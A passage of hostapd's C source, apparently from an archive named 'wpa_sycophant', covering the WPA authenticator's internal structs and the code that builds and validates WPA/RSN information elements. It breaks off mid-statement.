disconnect_reason; /* specific reason code to use with Disconnect */ u32 TimeoutCtr; u32 GTimeoutCtr; Boolean TimeoutEvt; Boolean EAPOLKeyReceived; Boolean EAPOLKeyPairwise; Boolean EAPOLKeyRequest; Boolean MICVerified; Boolean GUpdateStationKeys; u8 ANonce[WPA_NONCE_LEN]; u8 SNonce[WPA_NONCE_LEN]; u8 alt_SNonce[WPA_NONCE_LEN]; u8 alt_replay_counter[WPA_REPLAY_COUNTER_LEN]; u8 PMK[PMK_LEN_MAX]; unsigned int pmk_len; u8 pmkid[PMKID_LEN]; /* valid if pmkid_set == 1 */ struct wpa_ptk PTK; Boolean PTK_valid; Boolean pairwise_set; Boolean tk_already_set; int keycount; Boolean Pair; struct wpa_key_replay_counter { u8 counter[WPA_REPLAY_COUNTER_LEN]; Boolean valid; } key_replay[RSNA_MAX_EAPOL_RETRIES], prev_key_replay[RSNA_MAX_EAPOL_RETRIES]; Boolean PInitAKeys; /* WPA only, not in IEEE 802.11i */ Boolean PTKRequest; /* not in IEEE 802.11i state machine */ Boolean has_GTK; Boolean PtkGroupInit; /* init request for PTK Group state machine */ u8 *last_rx_eapol_key; /* starting from IEEE 802.1X header */ size_t last_rx_eapol_key_len; unsigned int changed:1; unsigned int in_step_loop:1; unsigned int pending_deinit:1; unsigned int started:1; unsigned int mgmt_frame_prot:1; unsigned int rx_eapol_key_secure:1; unsigned int update_snonce:1; unsigned int alt_snonce_valid:1; #ifdef CONFIG_IEEE80211R_AP unsigned int ft_completed:1; unsigned int pmk_r1_name_valid:1; #endif /* CONFIG_IEEE80211R_AP */ unsigned int is_wnmsleep:1; unsigned int pmkid_set:1; u8 req_replay_counter[WPA_REPLAY_COUNTER_LEN]; int req_replay_counter_used; u8 *wpa_ie; size_t wpa_ie_len; enum { WPA_VERSION_NO_WPA = 0 /* WPA not used */, WPA_VERSION_WPA = 1 /* WPA / IEEE 802.11i/D3.0 */, WPA_VERSION_WPA2 = 2 /* WPA2 / IEEE 802.11i */ } wpa; int pairwise; /* Pairwise cipher suite, WPA_CIPHER_* */ int wpa_key_mgmt; /* the selected WPA_KEY_MGMT_* */ struct rsn_pmksa_cache_entry *pmksa; u32 dot11RSNAStatsTKIPLocalMICFailures; u32 dot11RSNAStatsTKIPRemoteMICFailures; #ifdef CONFIG_IEEE80211R_AP u8 xxkey[PMK_LEN_MAX]; /* PSK or the second 256 bits of MSK, or the * first 384 bits of MSK */ size_t xxkey_len; u8 pmk_r1_name[WPA_PMK_NAME_LEN]; /* PMKR1Name derived from FT Auth * Request */ u8 r0kh_id[FT_R0KH_ID_MAX_LEN]; /* R0KH-ID from FT Auth Request */ size_t r0kh_id_len; u8 sup_pmk_r1_name[WPA_PMK_NAME_LEN]; /* PMKR1Name from EAPOL-Key * message 2/4 */ u8 *assoc_resp_ftie; void (*ft_pending_cb)(void *ctx, const u8 *dst, const u8 *bssid, u16 auth_transaction, u16 status, const u8 *ies, size_t ies_len); void *ft_pending_cb_ctx; struct wpabuf *ft_pending_req_ies; u8 ft_pending_pull_nonce[FT_RRB_NONCE_LEN]; u8 ft_pending_auth_transaction; u8 ft_pending_current_ap[ETH_ALEN]; int ft_pending_pull_left_retries; #endif /* CONFIG_IEEE80211R_AP */ int pending_1_of_4_timeout; #ifdef CONFIG_P2P u8 ip_addr[4]; #endif /* CONFIG_P2P */ #ifdef CONFIG_FILS u8 fils_key_auth_sta[FILS_MAX_KEY_AUTH_LEN]; u8 fils_key_auth_ap[FILS_MAX_KEY_AUTH_LEN]; size_t fils_key_auth_len; unsigned int fils_completed:1; #endif /* CONFIG_FILS */ #ifdef CONFIG_TESTING_OPTIONS void (*eapol_status_cb)(void *ctx1, void *ctx2); void *eapol_status_cb_ctx1; void *eapol_status_cb_ctx2; #endif /* CONFIG_TESTING_OPTIONS */ }; /* per group key state machine data */ struct wpa_group { struct wpa_group *next; int vlan_id; Boolean GInit; int GKeyDoneStations; Boolean GTKReKey; int GTK_len; int GN, GM; Boolean GTKAuthenticator; u8 Counter[WPA_NONCE_LEN]; enum { WPA_GROUP_GTK_INIT = 0, WPA_GROUP_SETKEYS, WPA_GROUP_SETKEYSDONE, WPA_GROUP_FATAL_FAILURE } wpa_group_state; u8 GMK[WPA_GMK_LEN]; u8 GTK[2][WPA_GTK_MAX_LEN]; u8 GNonce[WPA_NONCE_LEN]; Boolean changed; Boolean first_sta_seen; Boolean reject_4way_hs_for_entropy; #ifdef CONFIG_IEEE80211W u8 IGTK[2][WPA_IGTK_MAX_LEN]; int GN_igtk, GM_igtk; #endif /* CONFIG_IEEE80211W */ /* Number of references except those in struct wpa_group->next */ unsigned int references; unsigned int num_setup_iface; }; struct wpa_ft_pmk_cache; /* per authenticator data */ struct wpa_authenticator { struct wpa_group *group; unsigned int dot11RSNAStatsTKIPRemoteMICFailures; u32 dot11RSNAAuthenticationSuiteSelected; u32 dot11RSNAPairwiseCipherSelected; u32 dot11RSNAGroupCipherSelected; u8 dot11RSNAPMKIDUsed[PMKID_LEN]; u32 dot11RSNAAuthenticationSuiteRequested; /* FIX: update */ u32 dot11RSNAPairwiseCipherRequested; /* FIX: update */ u32 dot11RSNAGroupCipherRequested; /* FIX: update */ unsigned int dot11RSNATKIPCounterMeasuresInvoked; unsigned int dot11RSNA4WayHandshakeFailures; struct wpa_auth_config conf; const struct wpa_auth_callbacks *cb; void *cb_ctx; u8 *wpa_ie; size_t wpa_ie_len; u8 addr[ETH_ALEN]; struct rsn_pmksa_cache *pmksa; struct wpa_ft_pmk_cache *ft_pmk_cache; #ifdef CONFIG_P2P struct bitfield *ip_pool; #endif /* CONFIG_P2P */ }; #ifdef CONFIG_IEEE80211R_AP #define FT_REMOTE_SEQ_BACKLOG 16 struct ft_remote_seq_rx { u32 dom; struct os_reltime time_offset; /* local time - offset = remote time */ /* accepted sequence numbers: (offset ... offset + 0x40000000] * (except those in last) * dropped sequence numbers: (offset - 0x40000000 ... offset] * all others trigger SEQ_REQ message (except first message) */ u32 last[FT_REMOTE_SEQ_BACKLOG]; unsigned int num_last; u32 offsetidx; struct dl_list queue; /* send nonces + rrb msgs awaiting seq resp */ }; struct ft_remote_seq_tx { u32 dom; /* non zero if initialized */ u32 seq; }; struct ft_remote_seq { struct ft_remote_seq_rx rx; struct ft_remote_seq_tx tx; }; #endif /* CONFIG_IEEE80211R_AP */ int wpa_write_rsn_ie(struct wpa_auth_config *conf, u8 *buf, size_t len, const u8 *pmkid); void wpa_auth_logger(struct wpa_authenticator *wpa_auth, const u8 *addr, logger_level level, const char *txt); void wpa_auth_vlogger(struct wpa_authenticator *wpa_auth, const u8 *addr, logger_level level, const char *fmt, ...); void __wpa_send_eapol(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, int key_info, const u8 *key_rsc, const u8 *nonce, const u8 *kde, size_t kde_len, int keyidx, int encr, int force_version); int wpa_auth_for_each_sta(struct wpa_authenticator *wpa_auth, int (*cb)(struct wpa_state_machine *sm, void *ctx), void *cb_ctx); int wpa_auth_for_each_auth(struct wpa_authenticator *wpa_auth, int (*cb)(struct wpa_authenticator *a, void *ctx), void *cb_ctx); #ifdef CONFIG_IEEE80211R_AP int wpa_write_mdie(struct wpa_auth_config *conf, u8 *buf, size_t len); int wpa_write_ftie(struct wpa_auth_config *conf, int use_sha384, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *anonce, const u8 *snonce, u8 *buf, size_t len, const u8 *subelem, size_t subelem_len); int wpa_auth_derive_ptk_ft(struct wpa_state_machine *sm, const u8 *pmk, struct wpa_ptk *ptk); struct wpa_ft_pmk_cache * wpa_ft_pmk_cache_init(void); void wpa_ft_pmk_cache_deinit(struct wpa_ft_pmk_cache *cache); void wpa_ft_install_ptk(struct wpa_state_machine *sm); int wpa_ft_store_pmk_fils(struct wpa_state_machine *sm, const u8 *pmk_r0, const u8 *pmk_r0_name); #endif /* CONFIG_IEEE80211R_AP */ #endif /* WPA_AUTH_I_H */ wpa_sycophant-master/src/ap/wpa_auth_ie.c000066400000000000000000000726511377436615100210760ustar00rootroot00000000000000/* * hostapd - WPA/RSN IE and KDE definitions * Copyright (c) 2004-2018, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "eapol_auth/eapol_auth_sm.h" #include "ap_config.h" #include "ieee802_11.h" #include "wpa_auth.h" #include "pmksa_cache_auth.h" #include "wpa_auth_ie.h" #include "wpa_auth_i.h" #ifdef CONFIG_RSN_TESTING int rsn_testing = 0; #endif /* CONFIG_RSN_TESTING */ static int wpa_write_wpa_ie(struct wpa_auth_config *conf, u8 *buf, size_t len) { struct wpa_ie_hdr *hdr; int num_suites; u8 *pos, *count; u32 suite; hdr = (struct wpa_ie_hdr *) buf; hdr->elem_id = WLAN_EID_VENDOR_SPECIFIC; RSN_SELECTOR_PUT(hdr->oui, WPA_OUI_TYPE); WPA_PUT_LE16(hdr->version, WPA_VERSION); pos = (u8 *) (hdr + 1); suite = wpa_cipher_to_suite(WPA_PROTO_WPA, conf->wpa_group); if (suite == 0) { wpa_printf(MSG_DEBUG, "Invalid group cipher (%d).", conf->wpa_group); return -1; } RSN_SELECTOR_PUT(pos, suite); pos += WPA_SELECTOR_LEN; count = pos; pos += 2; num_suites = wpa_cipher_put_suites(pos, conf->wpa_pairwise); if (num_suites == 0) { wpa_printf(MSG_DEBUG, "Invalid pairwise cipher (%d).", conf->wpa_pairwise); return -1; } pos += num_suites * WPA_SELECTOR_LEN; WPA_PUT_LE16(count, num_suites); num_suites = 0; count = pos; pos += 2; if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) { RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_UNSPEC_802_1X); pos += WPA_SELECTOR_LEN; num_suites++; } if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) { RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X); pos += WPA_SELECTOR_LEN; num_suites++; } if (num_suites == 0) { wpa_printf(MSG_DEBUG, "Invalid key management type (%d).", conf->wpa_key_mgmt); return -1; } WPA_PUT_LE16(count, num_suites); /* WPA Capabilities; use defaults, so no need to include it */ hdr->len = (pos - buf) - 2; return pos - buf; } int wpa_write_rsn_ie(struct wpa_auth_config *conf, u8 *buf, size_t len, const u8 *pmkid) { struct rsn_ie_hdr *hdr; int num_suites, res; u8 *pos, *count; u16 capab; u32 suite; hdr = (struct rsn_ie_hdr *) buf; hdr->elem_id = WLAN_EID_RSN; WPA_PUT_LE16(hdr->version, RSN_VERSION); pos = (u8 *) (hdr + 1); suite = wpa_cipher_to_suite(WPA_PROTO_RSN, conf->wpa_group); if (suite == 0) { wpa_printf(MSG_DEBUG, "Invalid group cipher (%d).", conf->wpa_group); return -1; } RSN_SELECTOR_PUT(pos, suite); pos += RSN_SELECTOR_LEN; num_suites = 0; count = pos; pos += 2; #ifdef CONFIG_RSN_TESTING if (rsn_testing) { RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 1)); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_RSN_TESTING */ res = rsn_cipher_put_suites(pos, conf->rsn_pairwise); num_suites += res; pos += res * RSN_SELECTOR_LEN; #ifdef CONFIG_RSN_TESTING if (rsn_testing) { RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 2)); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_RSN_TESTING */ if (num_suites == 0) { wpa_printf(MSG_DEBUG, "Invalid pairwise cipher (%d).", conf->rsn_pairwise); return -1; } WPA_PUT_LE16(count, num_suites); num_suites = 0; count = pos; pos += 2; #ifdef CONFIG_RSN_TESTING if (rsn_testing) { RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 1)); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_RSN_TESTING */ if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_UNSPEC_802_1X); pos += RSN_SELECTOR_LEN; num_suites++; } if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X); pos += RSN_SELECTOR_LEN; num_suites++; } #ifdef CONFIG_IEEE80211R_AP if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_802_1X); pos += RSN_SELECTOR_LEN; num_suites++; } #ifdef CONFIG_SHA384 if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X_SHA384) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_802_1X_SHA384); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_SHA384 */ if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_PSK) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_PSK); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_IEEE80211W if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X_SHA256) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_802_1X_SHA256); pos += RSN_SELECTOR_LEN; num_suites++; } if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK_SHA256) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_PSK_SHA256); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_SAE if (conf->wpa_key_mgmt & WPA_KEY_MGMT_SAE) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_SAE); pos += RSN_SELECTOR_LEN; num_suites++; } if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_SAE) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_SAE); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_SAE */ if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X_SUITE_B) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_802_1X_SUITE_B); pos += RSN_SELECTOR_LEN; num_suites++; } if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X_SUITE_B_192) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_802_1X_SUITE_B_192); pos += RSN_SELECTOR_LEN; num_suites++; } #ifdef CONFIG_FILS if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FILS_SHA256) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FILS_SHA256); pos += RSN_SELECTOR_LEN; num_suites++; } if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FILS_SHA384) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FILS_SHA384); pos += RSN_SELECTOR_LEN; num_suites++; } #ifdef CONFIG_IEEE80211R_AP if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA256) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_FILS_SHA256); pos += RSN_SELECTOR_LEN; num_suites++; } if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA384) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_FILS_SHA384); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_IEEE80211R_AP */ #endif /* CONFIG_FILS */ #ifdef CONFIG_OWE if (conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_OWE); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_OWE */ #ifdef CONFIG_DPP if (conf->wpa_key_mgmt & WPA_KEY_MGMT_DPP) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_DPP); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_DPP */ #ifdef CONFIG_HS20 if (conf->wpa_key_mgmt & WPA_KEY_MGMT_OSEN) { RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_OSEN); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_HS20 */ #ifdef CONFIG_RSN_TESTING if (rsn_testing) { RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 2)); pos += RSN_SELECTOR_LEN; num_suites++; } #endif /* CONFIG_RSN_TESTING */ if (num_suites == 0) { wpa_printf(MSG_DEBUG, "Invalid key management type (%d).", conf->wpa_key_mgmt); return -1; } WPA_PUT_LE16(count, num_suites); /* RSN Capabilities */ capab = 0; if (conf->rsn_preauth) capab |= WPA_CAPABILITY_PREAUTH; if (conf->wmm_enabled) { /* 4 PTKSA replay counters when using WMM */ capab |= (RSN_NUM_REPLAY_COUNTERS_16 << 2); } #ifdef CONFIG_IEEE80211W if (conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { capab |= WPA_CAPABILITY_MFPC; if (conf->ieee80211w == MGMT_FRAME_PROTECTION_REQUIRED) capab |= WPA_CAPABILITY_MFPR; } #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_RSN_TESTING if (rsn_testing) capab |= BIT(8) | BIT(14) | BIT(15); #endif /* CONFIG_RSN_TESTING */ WPA_PUT_LE16(pos, capab); pos += 2; if (pmkid) { if (2 + PMKID_LEN > buf + len - pos) return -1; /* PMKID Count */ WPA_PUT_LE16(pos, 1); pos += 2; os_memcpy(pos, pmkid, PMKID_LEN); pos += PMKID_LEN; } #ifdef CONFIG_IEEE80211W if (conf->ieee80211w != NO_MGMT_FRAME_PROTECTION && conf->group_mgmt_cipher != WPA_CIPHER_AES_128_CMAC) { if (2 + 4 > buf + len - pos) return -1; if (pmkid == NULL) { /* PMKID Count */ WPA_PUT_LE16(pos, 0); pos += 2; } /* Management Group Cipher Suite */ switch (conf->group_mgmt_cipher) { case WPA_CIPHER_AES_128_CMAC: RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_AES_128_CMAC); break; case WPA_CIPHER_BIP_GMAC_128: RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_BIP_GMAC_128); break; case WPA_CIPHER_BIP_GMAC_256: RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_BIP_GMAC_256); break; case WPA_CIPHER_BIP_CMAC_256: RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_BIP_CMAC_256); break; default: wpa_printf(MSG_DEBUG, "Invalid group management cipher (0x%x)", conf->group_mgmt_cipher); return -1; } pos += RSN_SELECTOR_LEN; } #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_RSN_TESTING if (rsn_testing) { /* * Fill in any defined fields and add extra data to the end of * the element. */ int pmkid_count_set = pmkid != NULL; if (conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) pmkid_count_set = 1; /* PMKID Count */ WPA_PUT_LE16(pos, 0); pos += 2; if (conf->ieee80211w == NO_MGMT_FRAME_PROTECTION) { /* Management Group Cipher Suite */ RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_AES_128_CMAC); pos += RSN_SELECTOR_LEN; } os_memset(pos, 0x12, 17); pos += 17; } #endif /* CONFIG_RSN_TESTING */ hdr->len = (pos - buf) - 2; return pos - buf; } static u8 * wpa_write_osen(struct wpa_auth_config *conf, u8 *eid) { u8 *len; u16 capab; *eid++ = WLAN_EID_VENDOR_SPECIFIC; len = eid++; /* to be filled */ WPA_PUT_BE24(eid, OUI_WFA); eid += 3; *eid++ = HS20_OSEN_OUI_TYPE; /* Group Data Cipher Suite */ RSN_SELECTOR_PUT(eid, RSN_CIPHER_SUITE_NO_GROUP_ADDRESSED); eid += RSN_SELECTOR_LEN; /* Pairwise Cipher Suite Count and List */ WPA_PUT_LE16(eid, 1); eid += 2; RSN_SELECTOR_PUT(eid, RSN_CIPHER_SUITE_CCMP); eid += RSN_SELECTOR_LEN; /* AKM Suite Count and List */ WPA_PUT_LE16(eid, 1); eid += 2; RSN_SELECTOR_PUT(eid, RSN_AUTH_KEY_MGMT_OSEN); eid += RSN_SELECTOR_LEN; /* RSN Capabilities */ capab = 0; if (conf->wmm_enabled) { /* 4 PTKSA replay counters when using WMM */ capab |= (RSN_NUM_REPLAY_COUNTERS_16 << 2); } #ifdef CONFIG_IEEE80211W if (conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { capab |= WPA_CAPABILITY_MFPC; if (conf->ieee80211w == MGMT_FRAME_PROTECTION_REQUIRED) capab |= WPA_CAPABILITY_MFPR; } #endif /* CONFIG_IEEE80211W */ WPA_PUT_LE16(eid, capab); eid += 2; *len = eid - len - 1; return eid; } int wpa_auth_gen_wpa_ie(struct wpa_authenticator *wpa_auth) { u8 *pos, buf[128]; int res; #ifdef CONFIG_TESTING_OPTIONS if (wpa_auth->conf.own_ie_override_len) { wpa_hexdump(MSG_DEBUG, "WPA: Forced own IE(s) for testing", wpa_auth->conf.own_ie_override, wpa_auth->conf.own_ie_override_len); os_free(wpa_auth->wpa_ie); wpa_auth->wpa_ie = os_malloc(wpa_auth->conf.own_ie_override_len); if (wpa_auth->wpa_ie == NULL) return -1; os_memcpy(wpa_auth->wpa_ie, wpa_auth->conf.own_ie_override, wpa_auth->conf.own_ie_override_len); wpa_auth->wpa_ie_len = wpa_auth->conf.own_ie_override_len; return 0; } #endif /* CONFIG_TESTING_OPTIONS */ pos = buf; if (wpa_auth->conf.wpa == WPA_PROTO_OSEN) { pos = wpa_write_osen(&wpa_auth->conf, pos); } if (wpa_auth->conf.wpa & WPA_PROTO_RSN) { res = wpa_write_rsn_ie(&wpa_auth->conf, pos, buf + sizeof(buf) - pos, NULL); if (res < 0) return res; pos += res; } #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(wpa_auth->conf.wpa_key_mgmt)) { res = wpa_write_mdie(&wpa_auth->conf, pos, buf + sizeof(buf) - pos); if (res < 0) return res; pos += res; } #endif /* CONFIG_IEEE80211R_AP */ if (wpa_auth->conf.wpa & WPA_PROTO_WPA) { res = wpa_write_wpa_ie(&wpa_auth->conf, pos, buf + sizeof(buf) - pos); if (res < 0) return res; pos += res; } os_free(wpa_auth->wpa_ie); wpa_auth->wpa_ie = os_malloc(pos - buf); if (wpa_auth->wpa_ie == NULL) return -1; os_memcpy(wpa_auth->wpa_ie, buf, pos - buf); wpa_auth->wpa_ie_len = pos - buf; return 0; } u8 * wpa_add_kde(u8 *pos, u32 kde, const u8 *data, size_t data_len, const u8 *data2, size_t data2_len) { *pos++ = WLAN_EID_VENDOR_SPECIFIC; *pos++ = RSN_SELECTOR_LEN + data_len + data2_len; RSN_SELECTOR_PUT(pos, kde); pos += RSN_SELECTOR_LEN; os_memcpy(pos, data, data_len); pos += data_len; if (data2) { os_memcpy(pos, data2, data2_len); pos += data2_len; } return pos; } struct wpa_auth_okc_iter_data { struct rsn_pmksa_cache_entry *pmksa; const u8 *aa; const u8 *spa; const u8 *pmkid; }; static int wpa_auth_okc_iter(struct wpa_authenticator *a, void *ctx) { struct wpa_auth_okc_iter_data *data = ctx; data->pmksa = pmksa_cache_get_okc(a->pmksa, data->aa, data->spa, data->pmkid); if (data->pmksa) return 1; return 0; } int wpa_validate_wpa_ie(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, const u8 *wpa_ie, size_t wpa_ie_len, const u8 *mdie, size_t mdie_len, const u8 *owe_dh, size_t owe_dh_len) { struct wpa_ie_data data; int ciphers, key_mgmt, res, version; u32 selector; size_t i; const u8 *pmkid = NULL; if (wpa_auth == NULL || sm == NULL) return WPA_NOT_ENABLED; if (wpa_ie == NULL || wpa_ie_len < 1) return WPA_INVALID_IE; if (wpa_ie[0] == WLAN_EID_RSN) version = WPA_PROTO_RSN; else version = WPA_PROTO_WPA; if (!(wpa_auth->conf.wpa & version)) { wpa_printf(MSG_DEBUG, "Invalid WPA proto (%d) from " MACSTR, version, MAC2STR(sm->addr)); return WPA_INVALID_PROTO; } if (version == WPA_PROTO_RSN) { res = wpa_parse_wpa_ie_rsn(wpa_ie, wpa_ie_len, &data); selector = RSN_AUTH_KEY_MGMT_UNSPEC_802_1X; if (0) { } else if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X_SUITE_B_192) selector = RSN_AUTH_KEY_MGMT_802_1X_SUITE_B_192; else if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X_SUITE_B) selector = RSN_AUTH_KEY_MGMT_802_1X_SUITE_B; #ifdef CONFIG_FILS #ifdef CONFIG_IEEE80211R_AP else if (data.key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA384) selector = RSN_AUTH_KEY_MGMT_FT_FILS_SHA384; else if (data.key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA256) selector = RSN_AUTH_KEY_MGMT_FT_FILS_SHA256; #endif /* CONFIG_IEEE80211R_AP */ else if (data.key_mgmt & WPA_KEY_MGMT_FILS_SHA384) selector = RSN_AUTH_KEY_MGMT_FILS_SHA384; else if (data.key_mgmt & WPA_KEY_MGMT_FILS_SHA256) selector = RSN_AUTH_KEY_MGMT_FILS_SHA256; #endif /* CONFIG_FILS */ #ifdef CONFIG_IEEE80211R_AP #ifdef CONFIG_SHA384 else if (data.key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X_SHA384) selector = RSN_AUTH_KEY_MGMT_FT_802_1X_SHA384; #endif /* CONFIG_SHA384 */ else if (data.key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X) selector = RSN_AUTH_KEY_MGMT_FT_802_1X; else if (data.key_mgmt & WPA_KEY_MGMT_FT_PSK) selector = RSN_AUTH_KEY_MGMT_FT_PSK; #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_IEEE80211W else if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X_SHA256) selector = RSN_AUTH_KEY_MGMT_802_1X_SHA256; else if (data.key_mgmt & WPA_KEY_MGMT_PSK_SHA256) selector = RSN_AUTH_KEY_MGMT_PSK_SHA256; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_SAE else if (data.key_mgmt & WPA_KEY_MGMT_SAE) selector = RSN_AUTH_KEY_MGMT_SAE; else if (data.key_mgmt & WPA_KEY_MGMT_FT_SAE) selector = RSN_AUTH_KEY_MGMT_FT_SAE; #endif /* CONFIG_SAE */ else if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X) selector = RSN_AUTH_KEY_MGMT_UNSPEC_802_1X; else if (data.key_mgmt & WPA_KEY_MGMT_PSK) selector = RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X; #ifdef CONFIG_OWE else if (data.key_mgmt & WPA_KEY_MGMT_OWE) selector = RSN_AUTH_KEY_MGMT_OWE; #endif /* CONFIG_OWE */ #ifdef CONFIG_DPP else if (data.key_mgmt & WPA_KEY_MGMT_DPP) selector = RSN_AUTH_KEY_MGMT_DPP; #endif /* CONFIG_DPP */ #ifdef CONFIG_HS20 else if (data.key_mgmt & WPA_KEY_MGMT_OSEN) selector = RSN_AUTH_KEY_MGMT_OSEN; #endif /* CONFIG_HS20 */ wpa_auth->dot11RSNAAuthenticationSuiteSelected = selector; selector = wpa_cipher_to_suite(WPA_PROTO_RSN, data.pairwise_cipher); if (!selector) selector = RSN_CIPHER_SUITE_CCMP; wpa_auth->dot11RSNAPairwiseCipherSelected = selector; selector = wpa_cipher_to_suite(WPA_PROTO_RSN, data.group_cipher); if (!selector) selector = RSN_CIPHER_SUITE_CCMP; wpa_auth->dot11RSNAGroupCipherSelected = selector; } else { res = wpa_parse_wpa_ie_wpa(wpa_ie, wpa_ie_len, &data); selector = WPA_AUTH_KEY_MGMT_UNSPEC_802_1X; if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X) selector = WPA_AUTH_KEY_MGMT_UNSPEC_802_1X; else if (data.key_mgmt & WPA_KEY_MGMT_PSK) selector = WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X; wpa_auth->dot11RSNAAuthenticationSuiteSelected = selector; selector = wpa_cipher_to_suite(WPA_PROTO_WPA, data.pairwise_cipher); if (!selector) selector = RSN_CIPHER_SUITE_TKIP; wpa_auth->dot11RSNAPairwiseCipherSelected = selector; selector = wpa_cipher_to_suite(WPA_PROTO_WPA, data.group_cipher); if (!selector) selector = WPA_CIPHER_SUITE_TKIP; wpa_auth->dot11RSNAGroupCipherSelected = selector; } if (res) { wpa_printf(MSG_DEBUG, "Failed to parse WPA/RSN IE from " MACSTR " (res=%d)", MAC2STR(sm->addr), res); wpa_hexdump(MSG_DEBUG, "WPA/RSN IE", wpa_ie, wpa_ie_len); return WPA_INVALID_IE; } if (data.group_cipher != wpa_auth->conf.wpa_group) { wpa_printf(MSG_DEBUG, "Invalid WPA group cipher (0x%x) from " MACSTR, data.group_cipher, MAC2STR(sm->addr)); return WPA_INVALID_GROUP; } key_mgmt = data.key_mgmt & wpa_auth->conf.wpa_key_mgmt; if (!key_mgmt) { wpa_printf(MSG_DEBUG, "Invalid WPA key mgmt (0x%x) from " MACSTR, data.key_mgmt, MAC2STR(sm->addr)); return WPA_INVALID_AKMP; } if (0) { } else if (key_mgmt & WPA_KEY_MGMT_IEEE8021X_SUITE_B_192) sm->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X_SUITE_B_192; else if (key_mgmt & WPA_KEY_MGMT_IEEE8021X_SUITE_B) sm->wpa_key_mgmt = 